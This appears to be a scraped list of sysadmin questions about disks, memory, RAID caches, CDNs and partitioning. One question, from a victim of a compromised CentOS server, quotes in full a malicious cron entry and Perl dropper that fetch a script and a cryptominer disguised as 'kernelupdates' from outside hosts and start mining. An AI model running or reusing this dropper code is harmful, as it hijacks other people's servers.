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  • NVRAM for journals on Linux?

    - by symcbean
    I've been thinking about ways of speeding up disk I/O, and one of the bottlenecks I keep coming back to is the journal. There's an obvious benefit to using an SSD for the journal - over and above just write caching unless of course I just disable the journal with the write cache (after all devicemapper doesn't seem to support barriers). In order to get the benefits from using a BB write cache on the controller, then I'd need to disable journalling - but then the OS should try to fsck the system after an outage. Of course if the OS knows what's in the batter-backed memory then it could use it as the journal - but that means it must be exposed as a block device and only be under the control of the operating system. However I've not been able to find a suitable low-cost device (no, write-levelling for Flash is not adequate for a journal, at least one which uses Smartmedia). While there's no end of flash devices, disk/array controllers with BB write caches, so far I've not found anything which just gives me non-volatile memory addressable as a block storage device.

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  • Computer cannot detect hard disk

    - by Nrew
    Details: BIOS: AMI Bios, set primary master to Auto OS: Windows XP Sp2 Memory: 384 Mb Processor: Pentium 3 yeah this one is really very old. And some of the capacitors in the motherboard are already bulging. It detected the hdd yesterday when were trying to fix it and install xp. But today it cannot boot and said: Boot failure. What can you suggest that I would do to revive this old machine. What would be the problem, is it the hdd, the ide cable or the motherboard.

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  • ./kernelupdates 100% cpu usage

    - by Vaibhav Panmand
    I have a CENTOS6 server running with some wordpress & tomcat websites. In the last two days it has been crashing continuously. After investigation we found that kernelupdates binary consuming 100% cpu on server. Process is mentioned below. ./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx But this process seems invalid kernel update. Might be server is compromised and this process is installed by hacker, So I've killed this process & removed apache user's cron entries. But somehow this process started again after couple of hours & cron entries also restored, I am searching for the thing which is modifying cron jobs. Does this process belong to a mining process? How can we stop cronjob modification and clean the source of this process? Cron entry (apache user) /6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc* abc.txt #!/usr/bin/perl system("killall -9 minerd"); system("killall -9 PWNEDa"); system("killall -9 PWNEDb"); system("killall -9 PWNEDc"); system("killall -9 PWNEDd"); system("killall -9 PWNEDe"); system("killall -9 PWNEDg"); system("killall -9 PWNEDm"); system("killall -9 minerd64"); system("killall -9 minerd32"); system("killall -9 named"); $rn=1; $ar=`uname -m`; while($rn==1 || $rn==0) { $rn=int(rand(11)); } $exists=`ls /tmp/.ice-unix`; $cratch=`ps aux | grep -v grep | grep kernelupdates`; if($cratch=~/kernelupdates/gi) { die; } if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) { $wig=`wget --version | grep GNU`; if(length($wig>6)) { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } else { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } } @prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382'); $prt=0; while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; } print "setup for $rn:$prt done :-)\n"; system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &"); print "done!\n"; Thanks in advance!

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  • SQL server peformance, virtual memory usage

    - by user45641
    Hello, I have a very large DB used mostly for analytics. The performance overall is very sluggish. I just noticed that when running the query below, the amount of virtual memory used greatly exceeds the amount of physical memory available. Currently, physical memory is 10GB (10238 MB) whereas the virtual memory returns significantly more - 8388607 MB. That seems really wrong, but I'm at a bit of a loss on how to proceed. USE [master]; GO select cpu_count , hyperthread_ratio , physical_memory_in_bytes / 1048576 as 'mem_MB' , virtual_memory_in_bytes / 1048576 as 'virtual_mem_MB' , max_workers_count , os_error_mode , os_priority_class from sys.dm_os_sys_info

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  • What's problem with multi monitor usage in rdc7?

    - by e-turhan
    Hello, I want to use dual monitors with remote desktop on windows 7 ultimate. Host machine is win server 2008 r2. I open the run window type mstsc /multimon and press enter, also "use all my monitors for the remote session" is checked.By this way RDC is opening but only in one monitor.Do I need to do any changes on host too? I have tried /span attribute and it worked but I don't want it.

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  • Suggestion for boot manager in external hard disk

    - by Korrupzion
    Hi, I just bought an 1TB External Hard drive with eSATA, USB, FW400/800 (LaCie if you are interested). I already put the windows 7 installation in a FAT32 active partition so i can plug the HDD via USB, since my notebook or other computers doesn't support boot via eSATA commonly, and it works. Now i want to do more partitions so i'm looking for a way to have a boot manager as active partitions that allows me to boot from different partitions in my HDD (win7, ubuntu installations for example) I want to know if you know any software to do this or you already have this system. Thanks and sorry i have too many grammar errors because english is not my native language :)

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  • Disk Partitioning problem with fdisk.

    - by MA1
    Currently i am using fdisk to create/resize windows partitions. Following is a sample input script to fdisk to create/resize windows partitions: fdisk /dev/sda < partInput the contents of partInput are as follows: d #delete the partition 3 #partition number to be deleted n #add a new partition p #primary: type of new partition 3 #new partition number 18804 #start cylinder of new partition 77433 #end cylinder of new partition t #change the type of partition 3 #partition number whose type(filesystem) is to be changed 7 #HPFS/NTFS: partition type(filesystem) n #add a new partition p #primary: type of partition 77434 #first cylinder of new partition 77825 #end cylinder new partition w #write all the above changes As you see in the above input we are using cylinders for start and end. Earlier i am using sectors as unit and everything is working fine but getting problems when partitioning a 1.5TB hard drive. Then i changed the unit to cylinders but it is working on some machines not all. On some machines fdisk failed to create the partition table correctly. So, i am thinking to move to parted if there is no way to do the above using fdisk. Please also tell me how to correctly convert sectors to cylinders? How to perform all the above steps using parted without losing the data OR how to use fdisk correctly?

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  • Difference and correct usage for /tmp and /var/tmp

    - by David
    I haven't put much thought into this until now, but it seems odd that there is a /var/tmp and /tmp directories for most of the linux distro's I routinely use ( Ubuntu, Centos, Redhat ). Is there any semantic difference between the two, like when whoever designed the first file system layout, he or she thought "Not all tmp file's are created equal!" The only difference I've found for centos, is that /tmp routinely scrubs out files older then 240 hours while /var/tmp holds onto stale files for 720 hours.

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  • Does scheduling recycling app pool in IIS7 help the server conserve memory better?

    - by user29266
    Hello, I have a VPS (IIS7 with Win 2008) It's got: 40 websites and a SQL Server 2008 powering them with only 2 Gigs of RAM. None of the sites are mission critical, they are all just demos. I often have ram issues on the server because each site has does caching and generally uses a lot of memory. Would it make sense to set the application pools to recycle every 3 hours? I'm sure this would free up any memory leaks or processes left "hanging" Are there any other tips on this? Thank you very much!, Aron

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  • Fortigate 200A firewall CPU high resource usage

    - by user119720
    This morning I'm receiving complaints from several end users that saying their whole department network are slow and have intermittent. Therefore I've checked our firewall to see whether if something goes wrong with the device.From my observation in the FortiGate dashboard status, the CPU resources is very high (99 percent). My first assumption is to clear the log since in the alert log the Fortigate log mention that it is already 90% full.Based on my understanding,the log can be cleared by restarting the firewall. After restarting the firewall the network seems okay again but then after several minutes it went up again.The condition still persist until now. Can someone show me where else I can check to fix this issue? I've really appreciate any help that I can get here.Thanks. Edit: diag sys top command

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  • Time tracking tool for monitoring application usage

    - by wizlog
    I want to know how I'm really using my computer, and where the time goes (eg. I have an English paper due, and I intend on getting it done, its 2:30 PM... no wait, its 8:30 PM...). What software can tell me- a. what programs I use, and when b. within programs like Google Chrome or Firefox, which tabs do I spend the most time on. (So I know if I'm spending the time playing a game, or watching a movie on Hulu...)

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  • Munin fills server memory

    - by danilo
    In the last weeks, it happened several times to me that my vserver (Debian Lenny) was out of RAM (500M) and therefore wasn't able to run apache anymore. When looking at the processes with top, I saw that there were many open munin-limits and munin-cron processes that consumed most of the memory. My guess would be that sometimes Apache temporarily needs more memory, which prevents munin-cron from running. And if munin-cron isn't able to stop itself, it would fill the memory until nothing is left. I don't know whether this guess is true, but could maybe someone know what the problem is and how to prevent it? If necessary I'll remove munin, but I'd prefer to keep it running.

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  • svchost.exe @ 100% disk utilization vs. Outlook.ost

    - by Aszurom
    Vista x32 box with Outlook 2007. Outlook is not running. Hasn't been fired up for several reboots. I stopped WMI service and Windows Search service. Machine is mostly quiet, and then servicehost.exe launches an instance and starts banging away at Outlook.ost file. I can't determine what is causing it. I'm watching it in processmon, and trying to investigate it with preocessexplorer. Not having much luck at figuring out why the machine is so interested in that file. NOTHING is running that should be touching it.

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  • 32bit Application Memory Usage on 64bit Windows 7

    - by Brian
    I have an early 2012 Macbook Pro with and Intel I7 processor and 16 gigs RAM running Windows 7 Professional 64bit via Bootcamp. I work in Geographical Information Systems as a programmer so most of the applications I am running are 32bit Applications, but tend to use a lot of resources (i.e. ArcGIS, SQL Server Express, Visual Studio, etc.). I have been noticing that when I have multiple instances of either the same 32bit application or different 32bit applications and they are all working on hefty processing tasks, I am still only topping out at about 30% memory use. I understand 32bit applications are limited to less than 4gb RAM, but I assumed that one instance could use its own 4gb while another instance could use another 4gb to take full advantage of all the memory I have installed. Can anyone explain how this works and how I can get my applications to take advantage of all my memory via running multiple instances?

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  • Battery backed write cache behavior upon disk change

    - by Halfgaar
    We use 3ware Inc 9650SE SATA-II RAID PCIe RAID controllers with battery backed write cache. Our spare hardware has the same controller. I was wondering; are these controllers smart enough not to sync the cache when the disks have been changed? For example, if I deploy one of those spare machines by putting in the disks of another machine and that spare machine still has pending writes, will it be smart enough not to perform those writes on the replaced array? Edit: my scenario is not really made clear, so let me give an example: server1 goes down because of power supply failure. I put the disks in server2 and start. I repair server1 I put the disks back from server2 in server1 (it's not relevant right now that in reality I would probably keep server2 running). If server1 doesn't have safeguards, it will write to the array, thinking it's simply powering up again, corrupting it.

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  • Disable disk caches in AWS EBS for PostgreSQL?

    - by Alexandr Kurilin
    It's my understanding that, without correctly disabling OS-level and drive-level caching, there is a chance that in case of system failure the Write-Ahead Log might not be saved correctly and in fact might get corrupted, possibly preventing data recovery. I've already made sure that wal_sync_method=fdatasync however I was unable to make any configuration changes with hdparm since I get the following: $ sudo htparm -I /dev/xvdf /dev/xvdf: HDIO_DRIVE_CMD(identify) failed: Invalid argument Looks like that option is not available in the kind of setup you get in EC2. Am I missing anything here? Are there any other obvious caches I have to disable to ensure the WAL's safety?

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  • What is good usage scenario for Rackspace Cloud Files CDN (powered by AKAMAI) [closed]

    - by Andrew Smith
    I have just setup my website as static page via Rackspace CDN / Akamai. www.example.co.uk is an alias for d9771e6f24423091aebc-345678991111238fabcdef6114258d0e1.r61.cf3.rackcdn.com. d9771e6f24423091aebc-345678991111238fabcdef6114258d0e1.r61.cf3.rackcdn.com is an alias for a61.rackcdn.com. a61.rackcdn.com is an alias for a61.rackcdn.com.mdc.edgesuite.net. a61.rackcdn.com.mdc.edgesuite.net is an alias for a63.dscg10.akamai.net. a63.dscg10.akamai.net has address 63.166.98.41 a63.dscg10.akamai.net has address 63.166.98.40 a63.dscg10.akamai.net has IPv6 address 2001:428:4c02::cda8:ecb9 a63.dscg10.akamai.net has IPv6 address 2001:428:4c02::cda8:ed09 The HTTP header: HTTP/1.0 200 OK Last-Modified: Fri, 19 Oct 2012 23:27:41 GMT ETag: fdf9e14b77def799e09e8ce815a521da X-Timestamp: 1350689261.23382 Content-Type: text/html X-Trans-Id: tx457979be3bd746c2b4e5403a1189cdbc Cache-Control: public, max-age=900 Expires: Sat, 27 Oct 2012 22:18:56 GMT Date: Sat, 27 Oct 2012 22:03:56 GMT Content-Length: 7124 Connection: keep-alive I am wondering, if it's really the fastest solution to power the website? By investigating it thru http://www.just-ping.com/ it seems, that from many places the ping is very high, and during quick investigation I found that they use GeoIP to resolve addresses based on WHOIS, which is not accurate and because of that from many places the ping is above 300ms (for example, if ISP is in balgladore and request is routed to bangladore even if it's 300ms, for period of 1 month), while by just using Amazon Web Services and Route 53 Anycast DNS servers and only 4 EC2 instances it seems that for example India is always below 100ms, while using Akamai it goes above 300ms in some cases, and this is because Route 53 is using BGP. By quickly checking the Akamai, it seems that they are not getting feedback from the traffic - the high ping stays constant even if I keep downloading large files and videos, which is opposite to what they say on their website. They state, that they optimize the performance by taking feedback from the requests, while it seems they just use GeoIP with per City resolution (which are mostly big cities). Because of this, AWS with Route 53 / Anycast DNS seems to be much more reliable, as well EdgeCast which is using BGP, but I dont know how much does it cost to deploy static website. Actually, I dont know if EdgeCast is not a lie, because from isolated places there are many errors - so their performance is at the cost of quality of delivery, because of BGP switching the routes during transfer of large files. So I was wondering, what is really Akamai good for, because they dont seem to pose any strength in any field in what I do understand now, except they offer some software based WAF on their website, but what I really care about is the core distribiution, so the question is? Is really Akamai good for Videos? For static websites? ??? I found so far AWS most usable with most consistent ping and stable transfers.

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  • linux: mount old ATA disk to USB adapter

    - by 130490868091234
    I am trying to recover data from an old Linux that was installed in a computer on an ATA hard drive. I found a ScanLogic Corp. SL11R-IDE IDE Bridge (04ce:0002), an ATA adapter to USB 1.0 like the one in the picture: and after switching it on, I plugged it into a laptop with Ubuntu 12.04. I am used to the drives being automatically mounted, but this one doesn't show up in /media. After doing a dmesg, all I got is this: [215298.671924] usb 2-1.1: new full-speed USB device number 5 using ehci_hcd [215298.767330] scsi19 : usb-storage 2-1.1:1.0 [215299.841701] usb 2-1.1: reset full-speed USB device number 5 using ehci_hcd [215300.017258] usb 2-1.1: reset full-speed USB device number 5 using ehci_hcd [215300.197050] usb 2-1.1: reset full-speed USB device number 5 using ehci_hcd [215300.372730] usb 2-1.1: reset full-speed USB device number 5 using ehci_hcd I tried plugging in the adapter to the three different USB ports in my laptop (one of them USB 3.0), but got no luck with any of them. I get different devices under, for example: /dev/bus/usb/003/002 or /dev/bus/usb/002/004, but I don't get any /dev/sdbN links. The output blkid -o list -c /dev/null is just the laptop's partitions. I have tried taking out the jumper, putting it as master and as CS Enabled, but didn't change the result. Any ideas?

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  • CentOS default installation gave 60% disk space to tmpfs partition

    - by garconcn
    I installed a CentOS server which will be used for xen hypervisor. The server has two Intel(R) Xeon(R) CPU E5620 and 148G memory. The OS was installed on a 120G SSD drive. After the installation, I found that the tmpfs partition occupied about 60% of the drive. Even though I don't need much space for the OS, will there be any problem with 71G tmp partition? Thanks for any comment. [root@cloud ~]# df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/VolGroup00-LogVol00 55G 1.1G 51G 3% / /dev/sda1 99M 13M 82M 14% /boot tmpfs 71G 0 71G 0% /dev/shm

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